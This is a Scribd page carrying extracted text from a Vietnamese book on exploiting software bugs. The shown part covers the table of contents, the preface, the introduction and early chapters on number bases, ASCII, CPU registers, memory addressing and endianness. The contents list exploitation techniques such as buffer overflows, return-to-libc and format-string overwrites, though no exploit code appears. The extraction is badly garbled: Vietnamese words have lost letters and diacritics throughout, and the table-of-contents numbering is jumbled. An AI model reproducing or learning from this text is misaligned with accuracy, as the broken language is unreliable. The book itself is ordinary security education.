P. 1
NgheThuatTanDungLoiPhanmem.pdf

NgheThuatTanDungLoiPhanmem.pdf

|Views: 1|Likes:
Published by Tri Tran

More info:

Published by: Tri Tran on Jan 26, 2013
Copyright:Attribution Non-commercial

Availability:

Read on Scribd mobile: iPhone, iPad and Android.
download as PDF, TXT or read online from Scribd
See more
See less

01/29/2013

pdf

text

original

Ngh thu t t n d ng l i ph n m m

Nguy n Thành Nam Ngày 28 tháng 2 năm 2009

2

M cl c
1 Gi i thi u 1.1 C u trúc tài li u . . . . . . . . . . . . . . . . . . . . . . . . . . . 1.2 Làm sao đ s d ng hi u qu tài li u này . . . . . . . . . . . . . 7 7 8

2 Máy tính và biên d ch 11 2.1 H cơ s . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 2.1.1 Chuy n đ i t h cơ s b t kỳ sang h cơ s mư i . . . . 12 2.1.2 Chuy n đ i qua l i gi a h nh phân và h th p l c phân 12 2.1.3 B ng mã ASCII . . . . . . . . . . . . . . . . . . . . . . . 13 2.2 Ki n trúc máy tính . . . . . . . . . . . . . . . . . . . . . . . . . . 13 2.2.1 B vi x lý (Central Processing Unit, CPU) . . . . . . . . 13 2.2.2 Thanh ghi . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 2.2.3 B nh và đ a ch tuy n tính . . . . . . . . . . . . . . . . 17 2.2.3.1 Đ nh đ a ch ô nh . . . . . . . . . . . . . . . . . 17 2.2.3.2 Truy xu t b nh và tính k t thúc nh . . . . . 17 2.2.4 T p l nh, mã máy, và h p ng . . . . . . . . . . . . . . . 18 2.2.4.1 Các nhóm l nh . . . . . . . . . . . . . . . . . . . 20 2.2.4.2 Cú pháp . . . . . . . . . . . . . . . . . . . . . . 20 2.2.4.3 Ngăn x p . . . . . . . . . . . . . . . . . . . . . . 21 2.2.4.4 Các l nh g i hàm . . . . . . . . . . . . . . . . . 22 2.3 Trình biên d ch và c u trúc m t hàm . . . . . . . . . . . . . . . . 27 2.3.1 D n nh p . . . . . . . . . . . . . . . . . . . . . . . . . . . 27 2.3.2 Thân . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28 2.3.3 K t thúc . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29 2.3.4 G i hàm . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29 2.3.5 Con tr vùng nh . . . . . . . . . . . . . . . . . . . . . . 30 2.4 Tóm t t và ghi nh . . . . . . . . . . . . . . . . . . . . . . . . . . 33 3 Tràn b đ m 3.1 Gi i thi u . . . . . . . . . . . . . . . 3.2 Thay đ i giá tr bi n n i b . . . . . 3.3 Truy n d li u vào chương trình . . 3.4 Thay đ i lu ng th c thi . . . . . . . 3.4.1 K thu t cũ . . . . . . . . . . 3.4.2 Lu ng th c thi (control flow) 3.4.3 Tìm đ a ch nhánh “b ng” . . 3.4.3.1 V i GDB . . . . . . 3.4.3.2 V i objdump . . . . 3 35 35 37 40 43 43 45 47 48 49

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . . . . . 5 M t s lo i l i khác 5. . . . . .1 Bi n môi trư ng . .5. . . . . . . . . . . . .5. . . . . . . . . . 3. . 4. . 4. . .7 Mang giá tr 0x04030201 . . Quay v thư vi n chu n . . . . . . . .1. . . . . . .4. . . . . . . . . . . . . . . .3 G p l i d li u nh p . . . . . 3. . . . . . . . . . . . . . . . . . . . .4. . . . . . . . . . .4.6 Mang giá tr 0x12345678 .4. . . . . . 4. . . .5. . . . . . . . . 6 Tóm t t . . . . . . . . 4. . 4. . . . . . . . . . . . . .5. . . . . . . . . . .2 Quay v l nh g i hàm printf .5.4. . . . . . . . . . . . . . . . . . . . . . 4.5. . . . . .5. . . . . . . 95 . . . . . . . .5. 4. . . . . . . . . . . . . . . . . .3 Tham s dòng l nh . . . . . . . . . . . . . 50 52 52 53 55 55 55 55 57 60 61 61 65 68 70 73 73 74 76 77 78 79 79 81 81 83 84 87 88 88 92 93 3. . . . . .4 3. . . . . . . . . . . . . . . . . . . . . . . . . . . .5. . 4. . .4 Chính bi n buf . . . . . . . . . . . . 3.5. . . . . . . . . . . . 3. .4 Thay đ i bi n cookie . . . . . . . . 3. . .5.1. .6 B ng GOT . . . . . . .1 Mang giá tr 0x64 . . . . . . .4 Quay tr l i ví d . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4. . . . . . . . . . . . . .5 Mang giá tr 0x87654321 . . . . . . . . . . . . . . . . .1. . . . . . . .9 Mang giá tr 0x69696969 . . . . 101 . . . . . . . . . . . . . . . 4. . . . . ch s d ng m t %x và m t %n . . . . . . . .4 Mang giá tr 0x300. . .2 Dư m t (off by one) . . . . . .6 3. . . . . . . . .1 Chèn d li u vào vùng nh c a chương trình . . . . . . . . . . . 3. . . . 5. . . . . . . . . . . . . . . .3 Tràn s nguyên (integer overflow) 5. . 4. . . . . . . . . . . . 4.4 Tóm t t và ghi nh . .2 Quét ngăn x p . . 4. . . . . . . . . . .5. . . . . . . . . . .5 Phân đo n . . 3. . . . . . . . . . .8 L p l i v i chu i nh p b t đ u b ng BLUE MOON 4. . .1 V i trư ng h p tên chương trình là a . . . .3 Mang giá tr 0x300 . . . . . . . . . . . . . . . . . 3. . . . 3. . . 4.7 Tóm t t và ghi nh . . . . . . . . . . .dtors . . . . . . . . . . . .2 Tên t p tin th c thi . . 102 105 . . 95 . . .4. . .5. . . . Tóm t t và ghi nh . .4. .2 V i trư ng h p tên chương trình là abc Quay v thư vi n chu n nhi u l n . . . . . . . . 99 . . . . . . . . . . . . . . 3.1 Trư ng h p đua (race condition) 5. . .4. . . . . . . . . . . . . . .4.2 Mang giá tr 0x100 . . . 3. . . . . . . . .3 Đi tìm chu i b đánh c p . . . . . . . . . . . . M CL C . . .1 Khái ni m . . . . . . . . . . . . .7 4 Chu i đ nh d ng 4. . . .1. . . . . . . . .4 Quay v chính thân hàm . . . . . . .4.5 G i chương trình ngoài . . . . . . . . . .5 3. . .

v i các con s . 5 .L i nói đ u M c tiêu c a quy n sách này là đ chia s k năng t n d ng l i ph n m m t i b n đ c đam mê công ngh . d hi u. và nhân Linux 2. và h p lý. tác gi hy v ng s chuy n nh ng ki n th c t lâu đư c xem là ma thu t thành khoa h c. b n đ c s có đi u ki n th c hành ngay nh ng k thu t trong sách trên môi trư ng máy o VMware.6. Thông qua nh ng đi u đư c trình bày trong Ngh Thu t T n D ng L i Ph n M m. v i h đi u hành Debian phiên b n m i nh t. Cùng v i dĩa DVD đi kèm. các cách th c tính rõ ràng.

6 M CL C .

đa d ng là nh ng lý do góp ph n làm cho máy vi tính đư c đưa vào s d ng ngày càng nhi u. h th ng qu n lý qu ngân hàng. cơ b n nh ng k thu t này là m c tiêu c a quy n sách b n đang c m trên tay. tính kh chuy n. Trong th i đ i thông tin ngày nay. ho c có công ăn vi c làm có th ch là s đ i thay c a m t bit t 0 thành 1. Chúng cũng nói lên t m quan tr ng c a máy vi tính và d li u s trong cu c s ng chúng ta. N u ngày trư c k toán viên ph i làm vi c v i c ngàn trang gi y và ch s thì bây gi h ch c n nh n nút và nh p l nh vào các chương trình b ng tính thông d ng đ đ t đư c cùng k t qu . Chương trình ph c v tác nghi p nhân s . Và vi c gi i thích c n k .1 C u trúc tài li u Tài li u này đư c chia ra làm b n ph n chính. M t ph n quan tr ng trong chương này là s gi i thi u v h p ng và cách trình biên d ch (compiler) chuy n t ngôn ng c p cao như C sang ngôn ng c p th p hơn như h p ng . và chi n tranh gi a hai nư c gi đây tr thành cu c chi n trong không gian o.Chương 1 Gi i thi u T khi ra đ i và tr nên ph bi n vào nh ng năm đ u th p k 80. Chương 2. 1. chính xác. Nh ng quy đ nh v cách s d ng 7 . b nh . và thi t h i mà chúng d n t i nhưng vì thông tin cung c p còn h n ch nên vô tình đã th n kỳ hóa nh ng k thu t khoa h c đơn thu n. máy vi tính (tài li u này còn g i ng n g n là máy tính) đã đóng góp tích c c trong m i m t c a đ i s ng như s n xu t. giáo d c. N u cách nay 20 năm cách nhanh nh t đ g i m t lá thư dài vài trang đ n m t ngư i b n xa là qua d ch v phát chuy n nhanh c a bưu đi n thì ngày nay đi u này x y ra trong vòng chưa đ y 20 giây qua thư đi n t . Các phương ti n truy n thông thư ng xuyên vi t v nh ng l h ng. và đa d ng c a các ng d ng ch y trên nó. Th t nghi p. T c đ tính toán nhanh. s dư trong tài kho n ngân hàng tr nên ph thu c vào đ chu n xác c a chương trình qu n lý qu . vi c đ m b o an toàn thông tin càng tr nên b c xúc hơn bao gi h t. Nhưng đ phòng ch ng đư c tin t c thì trư c h t ta c n hi u đư c cách th c mà nh ng l h ng ph n m m b t n d ng. b ph n đi u khi n qu đ o tên l a là nh ng ví d c a các ng d ng máy tính. Máy vi tính có th thay đ i b m t và cách làm vi c c a xã h i là hoàn toàn nh vào s phù h p. các l nh cơ b n. qu c phòng. nguyên lý ho t đ ng cơ b n c a máy vi tính s đư c trình bày v i các ph n nh v thanh ghi. kinh doanh. y t .

8 CHƯƠNG 1. Đ ng th i. minh h a b nh trong tài li u cũng đư c xác đ nh trong chương này. dư m t. nh ng hình ch p dòng l nh trong tài li u đ u đư c ch p t chính môi trư ng máy o này nên b n s không ng ngàng v i các s li u. k t n i nhi u l n quay v thư vi n chu n. chúng ta s xem xét b n ch t c a lo i l i chu i đ nh d ng. Do đó. b n đ c s g p nh ng ô “D ng đ c và suy nghĩ”. đi u khi n con tr l nh. tùy vào m c đích c a mình. ba n s quan tr ng đ t n d ng l i. ghi đè ti u m c trong GOT. Tuy không ph bi n như l i tràn b đ m nhưng m c đ nguy h i c a lo i l i này cũng r t cao do kh năng ghi m t giá tr b t kỳ vào m t vùng nh b t kỳ. đ a ch . Sau khi đã gi i thích th nào là tràn b đ m. và tràn s nguyên. Nh ng ki n th c ch đ o đư c trình bày trong chương tương ng s đư c đúc k t thành các ch m đi m trong m c này. GI I THI U ký hi u. D ng l i ph thông th hai đư c bàn đ n k ti p trong Chương 4 là l i chu i đ nh d ng. các ví d nêu ra trong sách s nói v m t vài nguyên t c cơ b n đ t n d ng lo i l i này. ph n này. ho c ít nh t là làm quen v i các ký hi u. Sau đó. quay v thư vi n chu n. Môi trư ng này đã đư c thi t k đ c bi t giúp b n đ c thu n ti n nh t trong vi c kh o sát và n m b t các ki n th c cơ b n đư c trình bày trong tài li u. quy ư c đư c s d ng trong tài li u. Tài li u này m c dù có th đư c đ c như nh ng tài li u khác nhưng hi u qu s tăng lên nhi u l n n u b n đ c cũng đ ng th i th c t p trên môi trư ng máy o đi kèm.dtors. Trong m i chương. cũng như các k thu t hay g p bao g m đi u khi n giá tr bi n n i b . M i chương đ u k t thúc v i m t m c tóm t t và ghi nh . . Ph n chính cu i cùng nói v m t s các lo i l i tương đ i ít g p và đ c bi t nhưng tác h i cũng không nh . Đây là nh ng câu h i c ng c ki n th c và nâng cao hi u bi t nên b n đ c đư c khuy n khích d ng đ c và suy nghĩ v v n đ trong kho ng 30 phút trư c khi ti p t c. Chương 5 bàn v l i trư ng h p đua.2 Làm sao đ s d ng hi u qu tài li u này Các chương trong tài li u bàn v các v n đ riêng l không ph thu c l n nhau. Các chương khác trong tài li u đư c trình bày m t cách riêng l nên b n đ c có th b qua nh ng chương không liên quan t i v n đ mình quan tâm và đ c tr c ti p chương ho c m c tương ng. cách ho t đ ng c a chương trình trong đó. Tuy nhiên đ c gi đư c khuy n khích đ c qua Chương 2 trư c đ có n n t ng cho nh ng chương sau. các bài t p ghi m t giá tr vào vùng nh đã đ nh. Chương 2 r t quan tr ng trong vi c t o nên m t n n t ng ki n th c cho các trao đ i trong nh ng chương sau. và các hư ng t n d ng ph bi n như ghi đè phân vùng . Trong Chương 3. đ c gi có th đ c ti p các chương bàn v nh ng v n đ có liên quan. 1. chúng ta s bàn đ n m t d ng l i đ c bi t ph bi n là l i tràn b đ m. c ng thêm s d dàng trong vi c t n d ng l i.

chúng ta đã s n sàng đ ti p t c v i nh ng ki n th c v c u trúc máy vi tính.2. V i nh ng đi m lưu ý trên. % . b n không c n làm v y. b n nên b chút th i gian đ suy nghĩ v v n đ đ t ra. & Cu i m i chương có ph n tóm t t và ghi nh . LÀM SAO Đ ' S D NG HI U QU TÀI LI U NÀY 9 $ D ng đ c và suy nghĩ Khi g p các ô như th này. N u b n có ít th i gian đ đ c h t c chương thì m c này s giúp b n n m b t đ i ý c a chương đó m t cách h th ng và xúc tích nh t. Riêng đây.1.

GI I THI U .10 CHƯƠNG 1.

M t megabyte (MB) là 1024 KB. 2. 9.1 H cơ s Trư c khi đi vào c u trúc máy tính. Vi c này cũng tương t như h c ch y xe máy v y. B. và F trong 11 . ho c 9. Có ba h có s thông d ng mà chúng ta s s d ng trong tài li u này: H nh phân (binary) là h cơ s hai. cách th c ho t đ ng c a b vi x lý. 1. trư c h t chúng ta ph i bi t rõ c u trúc c a máy tính. làm sao đ r trái. C. làm sao đ d ng xe. con ngư i. 8. cách đánh đ a ch b nh tuy n tính (linear addressing). K t thúc chương chúng ta s đưa ra m t mô hình v trí ngăn x p (stack layout. M t kilobyte (KB) là 1024 (210 ) byte. 7. 5. chúng ta s xem xét c u trúc máy tính mà đ c bi t là b vi x lý (Central Processing Unit.Chương 2 Máy tính và biên d ch M c đích cu i cùng c a vi c t n d ng l i ph n m m là th c thi các tác v mong mu n. chúng ta s ch nói đ n c u trúc c a b vi x lý Intel 32 bit. Trong chương này. M i m t ch s có th có giá tr là 0. 8. 1. A. đư c máy tính s d ng. và b l nh (instruction) c a nó. ho c 1. H th p l c phân (hexadecimal) là h cơ s mư i sáu. đư c s d ng đ tính toán thay cho h nh phân vì nó ng n g n và d chuy n đ i hơn. 2. M i m t ch s có th có giá tr là 0. 7. M i m t ch s có th có giá tr 0. K ti p chúng ta s bàn t i mã máy (machine code). 6. Chúng ta ph i bi t nh n vào nút nào đ kh i đ ng máy. CPU). các thanh ghi (register). Tám (8) bit l p thành m t byte (có ký hi u là B). chúng ta c n n m rõ m t ki n th c n n t ng là h cơ s . nút nào đ b t đèn xin đư ng. làm sao truy n l nh t i b vi x lý. M i ch s này đư c g i là m t bit. 3. D. Trong su t tài li u này. H th p phân (decimal) là h cơ s mư i mà chúng ta. 4. 5. 3. 4. Đ làm đư c đi u đó. r i h p ng (assembly language) đ có th chuy n qua trao đ i v cách chương trình biên d ch (compiler) chuy n m t hàm t ngôn ng C sang h p ng . 6. s d ng hàng ngày. nh ng l nh mà b vi x lý có th th c hi n. 2. E. stack diagram) c a m t hàm m u v i các đ i s và bi n n i b .

1 Chuy n đ i t h cơ s b t kỳ sang h cơ s mư i G i cơ s đó là R.. ch s t i v trí mang nhi u ý nghĩa nh t (most significant digit) là xn−1 (thư ng là s t n cùng bên trái). n = 2) là 15 × 160 + 7 × 161 = 127.1: Chuy n đ i gi a h th p l c phân và nh phân đó A có giá tr là 10 (th p phân). Do đó. D.12 Th p phân 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 CHƯƠNG 2. n = 8) là 1 × 20 + 0 × 21 + 0 × 22 + 1 × 23 + 1 × 24 + 1 × 25 + 0 × 26 + 0 × 27 = 57.1. giá tr th p phân c a s th p l c phân 7F (R = 16. chúng ta ch c n chuy n đ i t ng b n bit theo B ng 2. B có giá tr là 11 và tương t v i C. E. s ch s là n. Giá tr th p phân c a con s này s đư c tính theo công th c sau: Gi´ tr. MÁY TÍNH VÀ BIÊN D CH Th p l c phân 0 1 2 3 4 5 6 7 8 9 A B C D E F Nh phân 0000 0001 0010 0011 0100 0101 0110 0111 1000 1001 1010 1011 1100 1101 1110 1111 B ng 2. Ví d giá tr nh phân c a s th p l c phân AF là 10101111 vì A tương ng v i 1010 và F tương ng v i 1111. F.. 2. th p phˆn = x0 × R0 + x1 × R1 + .2 Chuy n đ i qua l i gi a h nh phân và h th p l c phân M i m t ch s trong h th p l c phân tương ng v i b n ch s h nh phân vì 16 = 24 .1. ch s v trí mang ít ý nghĩa nh t (least significant digit) là x0 (thư ng là s t n cùng bên ph i). đ chuy n đ i qua l i gi a hai h này. .1. giá tr th p l c phân c a s nh phân 01010000 là 50. + xn−2 × Rn−2 + xn−1 × Rn−1 a i a Ví d giá tr th p phân c a s nh phân 00111001 (R = 2. và các ch s còn l i t x1 cho t i xn−2 . 2.

2: M t vài giá tr ph thông trong b ng mã ASCII 2. b nh p chu n (bàn phím) và b xu t chu n (màn hình). C. . X. 2. Theo đó.2. Con tr l nh là m t thanh ghi c a CPU. Y. có nhi m v lưu tr đ a ch c a l nh k ti p trên b nh .2 Ki n trúc máy tính Máy tính g m ba b ph n chính là b x lý (CPU). Ngoài ra.2. Chúng ta s ch quan tâm đ n b x lý vì đây chính là trung tâm đi u khi n m i ho t đ ng c a máy tính. B ng mã này đư c s d ng ph bi n nên các h đi u hành hi n đ i đ u tuân theo chu n ASCII. ký t d i con tr v đ u dòng (carriage return) có mã th p l c 0D. B ng 2. CPU) B vi x lý đ c l nh t b nh và th c hi n các l nh này m t cách liên t c. ký t xu ng dòng.1. t o dòng m i (line feed. Sau khi CPU th c hi n xong l nh hi n t i. Z. B. CPU s th c hi n ti p l nh t i v trí do con tr l nh ch t i. B ng mã này ánh x các giá tr th p phân nh hơn 128 (t 00 t i 7F trong h th p l c phân) thành nh ng ký t ch thông thư ng. mã th p l c 35 tương ng v i ch s 5. ký t ch A hoa có mã 41 h th p l c phân. new line) có mã th p l c 0A. 2. không ngh . ký t kho ng tr ng có mã th p l c 20. ph n k ti p chúng ta s bàn v b vi x lý c a máy tính. KI N TRÚC MÁY TÍNH 0 0 1 2 3 4 5 6 7 1 2 3 4 5 6 7 8 9 A B C D E F 13 0 P p 1 A Q a q 2 B R b r 3 C S c s 4 D T d t 5 E U e u 6 F V f v 7 G W g w 8 H X h x 9 I Y i y J Z j z K k L l M m N n O o B ng 2.1 B vi x lý (Central Processing Unit. L nh s p đư c th c thi đư c quy t đ nh b i con tr l nh (instruction pointer).3 B ng mã ASCII Vì máy tính ch hi u các bit 0 và 1 nên chúng ta c n có m t quy đ nh chung v cách bi u di n nh ng ký t ch như A.2. B n thân Unicode cũng s d ng cách ánh x ASCII cho các ký t nh hơn 128. Ngày nay chúng ta thư ng nghe nói v b ng mã Unicode vì nó th hi n đư c h u h t các ngôn ng trên th gi i và đ c bi t là ti ng Vi t đư c giành riêng m t vùng trong b ng mã. Chúng ta đã xem xét qua ki n th c căn b n v các h cơ s và b ng mã ASCII.2 li t kê m t s giá tr ph thông trong b ng mã ASCII. m t vài ký t đ c bi t như ký t k t thúc chu i NUL có mã th p l c 00. và mã th p l c 61 tương ng v i ký t ch a thư ng. B ng mã ASCII là m t trong nh ng quy đ nh đó.

. 31 C0 90 90 ....14 CHƯƠNG 2... MÁY TÍNH VÀ BIÊN D CH con trỏ lệnh=12345678 . 12345678 (a) Đang ch đ n l nh th nh t con trỏ lệnh=1234567A .... 12345678 (b) Đang ch đ n l nh th hai con trỏ lệnh=1234567B ... 12345678 (c) Sau khi th c hi n l nh nop Hình 2.1: Con tr l nh . 31 C0 90 90 .. 31 C0 90 90 .

. T ví d v con tr l nh chúng ta nh n th y r ng n u mu n CPU th c hi n m t tác v nào đó. Vì l nh này chi m hai byte trên b nh nên sau khi th c hi n l nh. • Đôi khi chúng ta s bi u di n b nh b ng m t d i dài t trái sang ph i như đã minh h a Hình 2.1c minh h a giá tr c a con tr l nh sau khi CPU th c hi n l nh nop Hình 2.1a gi s con tr l nh đang mang giá tr 12345678..2. Đ b n đ c d n m b t. Con tr l nh ph i có giá tr là đ a ch c a vùng nh ch a các l nh trên. chúng ta có l nh 31 C0 (xor eax. chúng ta có các quy ư c sau: • Nh ng giá tr s đ c p đ n trong tài li u này s đư c bi u di n th p l c phân tr khi có gi i thích khác. . Do l nh nop ch chi m m t byte b nh nên con tr l nh s tr t i ô nh k nó t i đ a ch 1234567B..1b.. Hình 2. đ a ch cao hơn d ng bên tay bên trên. • Ô nh s có đ a ch th p hơn bên tay trái.1b. T i đ a ch này. . đôi khi chúng ta s bi u di n b ng m t h p các ngăn nh .. con tr l nh s có giá tr là 12345678 + 2 = 1234567A như trong Hình 2.. T i đ a ch 1234567A là l nh 90 (nop).2: Quy ư c bi u di n Hình 2. Các l nh th c thi c n đư c đưa vào b nh . m i ngăn nh dài 04 byte tương ng v i 32 bit như trong Hình 2. KI N TRÚC MÁY TÍNH 15 thấp hơn (00000000) cao thấp cao hơn (FFFFFFFF) . . • Ô nh s có đ a ch th p hơn ph i. 41 42 43 44 .. eax). Đi u này có nghĩa là CPU s th c hi n l nh t i đ a ch 12345678.2..2. 2. đ a ch cao hơn bên dư i. chúng ta c n th a mãn hai đi u ki n: 1. Hình 2.1.

hay gi giá tr tham s . Chúng ta thư ng g p các thanh ghi như EIP và EFLAGS. c không (zero flag). Hai thanh ghi chính là EBP và ESP. t c là đi u khi n lu ng th c thi c a máy tính. Thanh ghi là m t d ng b nh t c đ cao. và ESI. Thanh ghi x lý chu i là các thanh ghi chuyên dùng trong vi c x lý chu i ví d như sao chép chu i. Thông thư ng.2. chúng ta có các nhóm thanh ghi chính đư c li t kê bên dư i. thanh ghi s có đ dài b ng v i đ dài c a c u trúc CPU. và ch p nh n r ng con tr l nh ch a đ a ch ô nh c a l nh k ti p mà CPU s th c hi n. EBX. V i gi thi t đi u ki n th nh t đã hoàn thành. Ngư c l i.1 th t ra là m t trong s các thanh ghi có s n trong CPU. th m chí cho t ng trư ng h p t n d ng riêng bi t. Th t t cho th y (và s đư c d n ch ng qua các ví d ) trong ph n l n các trư ng h p t n d ng l i chúng ta ch c n đi u khi n đư c lu ng th c thi c a chương trình là đã thành công 80% r i.2. Các c này đư c thay đ i như là m t hi u ng ph c a các l nh chính. vi c t o mã l nh là m t v n đ r t ph c t p. MÁY TÍNH VÀ BIÊN D CH Vì mã l nh th c thi và d li u chương trình đ u n m trên b nh nên ta có th t i mã l nh vào chương trình thông qua vi c truy n d li u thông thư ng. Các thanh ghi này thư ng có vai trò như nhau.2 Thanh ghi Con tr l nh 2. thư ng không th đư c gán giá tr m t cách tr c ti p. và EDX. Nói như v y không có nghĩa là vi c t o mã l nh quá đơn gi n nên b b qua.3. Theo ý ki n cá nhân c a tác gi . Ví d như khi th c hi n l nh . ph n l n các mã l nh ph thông đ u có th đư c s d ng l i trong các ví d chúng ta s bàn t i nh ng ph n sau nên b n đ c có th t áp d ng như là m t bài t p th c hành nh . t ng h đi u hành khác nhau. Trong ph n này. v i nhi u k thu t riêng bi t cho t ng c u trúc máy.16 CHƯƠNG 2. Đây cũng chính là mô hình c u trúc máy tính von Neumann v i b x lý và b ph n ch a d li u l n mã l nh đư c tách r i. Chúng ta s không bàn t i cách t o các mã l nh mà thay vào đó chúng ta s gi s r ng mã l nh phù h p đã đư c n p vào b nh . tài li u này s t p trung vào vi c gi i quy t v n đ th hai. đ t bi n t m. Thanh ghi đ c bi t là nh ng thanh ghi có nhi m v đ c bi t. Đ i v i c u trúc Intel 32 bit. chúng ta đ c p đ n con tr l nh. đây thư ng là v n đ m u ch t c a vi c t n d ng l i. V y thì con tr l nh th t ra là gì? 2. Hơn n a. Vi c ch n và x d ng mã l nh (shellcode) phù h p v i m c đích t n d ng l i n m ngoài ph m vi c a tài li u này. EIP chính là con tr l nh chúng ta đã bi t.2. ECX. c nh (carry flag). Hai thanh ghi thư ng g p g m có EDI. Chúng ta hay g p b n thanh ghi chính là EAX. Thanh ghi ngăn x p là các thanh ghi đư c s d ng trong vi c qu n lý c u trúc b nh ngăn x p. Thanh ghi chung là nh ng thanh ghi đư c CPU s d ng như b nh siêu t c trong các công vi c tính toán. C u trúc này s đư c bàn đ n trong Ti u m c 2.4. và cũng là lý do chính khi n chúng ta g p nhi u khó khăn trong vi c đ c hi u các tin t c báo chí. tính đ dài chu i. và m i thanh ghi dài 32 bit. n m ngay bên trong CPU. EFLAGS là thanh ghi ch a các c (m i c m t bit) như c d u (sign flag).

Trong 3 GB này. Chúng ta s bàn t i các l nh đó Ti u m c 2. Đ vư t qua gi i h n này. Ki u đánh đ a ch tuy n tính o như v y cho phép h đi u hành m r ng b nh th t có b ng cách s d ng thêm phân vùng trao đ i (swap partition).2. Chúng ta dùng giá tr c a các c này đ th c hi n các l nh nh y có đi u ki n ví d như nh y n u c không đư c b t. Đ a ch tuy n tính này không nh t thi t là đ a ch th t c a ô nh trong RAM mà s ph i đư c h đi u hành ánh x l i. Chúng ta thư ng th y máy tính ch có 1 GB RAM nhưng đ a ch b nh có th có giá tr BFFFF6E4 t c là kho ng hơn 3 GB. C th là ta ch c n x lý m t giá tr 32 bit đơn gi n.3.2.2 Truy xu t b nh và tính k t thúc nh Như đã nói sơ qua. các thanh ghi ch có th đ nh đ a ch trong ph m vi t 0 đ n 216 − 1. Vì th vi c xác đ nh đ a ch ô nh là quan tr ng. chúng ta đang nói đ n đ a ch tuy n tính c a RAM. ES.2.2. Khi ta nói đ n đ a ch b nh . ta s dùng đ a ch 00000000. 2. Thanh ghi phân vùng là các thanh ghi góp ph n vào vi c đánh đ a ch b nh . Công vi c ánh x đ a ch b nh đư c th c hi n qua ph n qu n lý b nh o (virtual memory management) c a h đi u hành. Cho đ n th h 32 bit thì h đi u hành hi n đ i đã không c n dùng đ n các thanh ghi phân vùng này trong vi c đ nh v b nh n a vì m t thanh ghi thông thư ng đã có th đ nh v đư c t i 232 ô nh t c là 4 GB b nh . 2. các thanh ghi phân vùng đư c s d ng đ h tr vi c đánh đ a ch b nh . thay vì ph i dùng công th c tính toán đ a ch ô nh t hai thanh ghi khác nhau. B nh chính mà chúng ta nói đ n là RAM v i dung lư ng thư ng th y đ n 1 ho c 2 GB.2. CPU s thông báo r ng đ a ch ô nh đã s n sàng trên đư ng truy n đ a ch . Đ t tên như v y vì đ truy xu t vào b nh thì ta c n truy n đ a ch ô nh trư c khi truy c p nó.3 B nh và đ a ch tuy n tính Thanh ghi là b nh siêu t c nhưng đáng ti c dung lư ng c a chúng quá ít nên chúng không ph i là b nh chính. Khi c n đ c d li u t b nh .3. b vi x lý c n xác đ nh đ a ch ô nh . RAM là vi t t t c a Random Access Memory (b nh truy c p ng u nhiên).1 Đ nh đ a ch ô nh Đ n th h 32 bit. ngoài d li u còn có các mã l nh c a chương trình. Trong nh ng th h 16 bit.4. Do đó đ k t n i CPU v i b nh chúng ta có hai đư ng truy n là đư ng truy n d li u (data bus) và đư ng truy n đ a ch (address bus). CS.2. và t c đ truy xu t vào đ a ch nào cũng là như nhau. nh y n u c nh không b t. Cách đánh đ a ch tuy n tính làm đơn gi n hóa vi c truy xu t b nh . các h đi u hành đã chuy n sang dùng đ a ch tuy n tính (linear addressing) thay cho đ a ch phân vùng. và s n sàng nh n d li u t ho c truy n d li u vào b nh . 2. Chúng ta hay g p nh ng thanh ghi DS. Ví d đ truy xu t ô nh đ u tiên. Ô nh sau n m đ a ch cao hơn ô nh trư c 1 đơn v . đ truy xu t ô nh k ti p ta dùng đ a ch 00000001 và c th . KI N TRÚC MÁY TÍNH 17 l y hi u c a 0 và 1 thì c nh và c d u s đư c b t. và yêu c u b nh truy n d . m r ng nó lên 220 đ a ch ô nh .

3a.4 T p l nh. 41. Chúng ta th y t ng byte c a chu i (trong hình là giá tr ASCII c a các ký t tương ng) đư c đưa vào b nh theo đúng th t đó. Mã máy còn đư c bi t đ n như là ngôn ng l p trình th h th nh t. thay vì t i đ a ch cao. và h p ng T p l nh là t t c nh ng l nh mà CPU có th th c hi n. chúng ch n l c. Các đư ng truy n d li u và đ a ch đ u có đ r ng 32 bit cho nên m i l n truy c p vào b nh thì CPU s truy n ho c nh n c 32 bit đ t i ưu vi c s d ng đư ng truy n. 31 C0 là nh ng l nh đư c CPU hi u và th c hi n đư c. và 4 byte s có giá tr 42413938. Hình 2. Các giá tr này đư c g i là mã máy (machine code. Đây có th đư c coi như kho t v ng c a m t máy tính. Cũng như các t v ng trong ngôn ng t nhiên. Thông qua hai hình minh h a. n u ta l y 1 byte t 32 bit d li u b t đ u t đ a ch a thì nó s có giá tr th p l c 38 . Chúng ta th y r ng byte v trí th p nh t có ý nghĩa nh nh t. mã máy. 42) nhưng ý nghĩa c a d li u ch a trong các ô nh đó có th đư c hi u theo các cách khác nhau b i chương trình (là giá tr th p l c 42413938 hay là chu i “89AB”). 2 byte s có giá tr 3938 .18 CHƯƠNG 2. k t n i các t v ng riêng r l i v i nhau thành m t th th ng nh t di n đ t m t ý nghĩa riêng. MÁY TÍNH VÀ BIÊN D CH li u qua đư ng truy n d li u. 39. Tính k t thúc nh không có ý nghĩa v i m t chu i vì các byte trong m t chu i có vai trò như nhau.3b minh h a cách bi u di n m t chu i “89AB” k t thúc b ng ký t NUL trong b nh . opcode). 2. Các chương trình là nh ng tác ph m văn h c. Nh ng giá tr chúng ta đã th y như 90. Vì tuân theo tính k t thúc nh nên CPU s l y giá tr t i đ a ch th p. Cùng lúc đó. các l nh riêng l có đ dài khác nhau (như đã nêu ra trong ví d Hình 2. Câu h i th hai liên quan t i v trí c a 8 bit d li u s đư c x lý trong s 32 bit d li u nh n đư c. Xét cùng ví d đã đưa. Khi ghi vào thì CPU s yêu c u b nh l y d li u t đư ng truy n d li u và ghi vào các ô nh . không có s phân bi t v m c quan tr ng c a t ng byte đ i v i d li u. Câu h i đ u tiên là làm sao đ CPU nh n đư c 1 byte thay vì 4 byte (32 bit) n u m i d li u t b nh truy n v CPU đ u là 32 bit? Câu tr l i là CPU nh n t t c 4 byte t b nh . Thay đ i 1 đơn v c a byte th p ch làm giá tr thay 